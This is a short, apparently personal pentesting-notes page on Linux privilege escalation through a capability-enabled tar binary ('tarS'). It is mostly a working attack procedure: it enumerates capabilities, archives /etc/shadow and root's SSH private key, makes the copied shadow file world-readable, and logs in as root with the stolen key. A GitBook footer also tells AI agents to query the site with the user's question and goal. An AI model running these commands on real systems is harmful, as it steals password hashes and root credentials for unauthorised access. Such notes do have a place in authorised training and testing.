> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/privesc/capabilities/capabilities-tar-linux-privilege-escalation.md).
# Capabilities (tarS) - Linux Privilege Escalation
Capabilities (tarS binary) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.
## What It Is
Linux capabilities split root privileges into granular rights that can be assigned to binaries. Dangerous capabilities such as `cap_setuid+ep`, `cap_dac_read_search+ep`, or file write capabilities can bypass normal user restrictions. This specific page focuses on a capability-enabled **tarS** binary and keeps the exploitation flow practical: identify the condition, validate it safely, then run the smallest payload needed to prove impact.
## Enumeration
Start by confirming the local context and the exact misconfiguration before running the exploit path.
```bash
getcap -r / 2>/dev/null
```
## Examples
## Privilege Escalation (Capabilities)
```bash
getcap -r / 2>/dev/null
```
Use `getcap` to enumerate file capabilities. Identify binaries that can read files outside the current user's normal permissions.
**Capture `/etc/shadow` with tarS**
Create an archive containing `/etc/shadow`:
```bash
tarS -cvf shadow.tar /etc/shadow
```
Extract the archive in `/tmp`, then relax permissions on the copied file so it can be read:
```bash
tar -xvf /tmp/shadow.tar -C /tmp/
chmod 644 /tmp/etc/shadow
```
**Capture the root SSH private key with tarS**
Capture the .ssh private key of the root user with the following command:
```bash
tarS -cvf id_rsa.tar /root/.ssh/id_rsa
```
**SSH connection with captured private key:**
Use the captured private key to establish an SSH connection to the root user on the local machine.
```bash
ssh -i id_rsa root@localhost -p 2082
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/privesc/capabilities/capabilities-tar-linux-privilege-escalation.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
.png?alt=media)
.png?alt=media)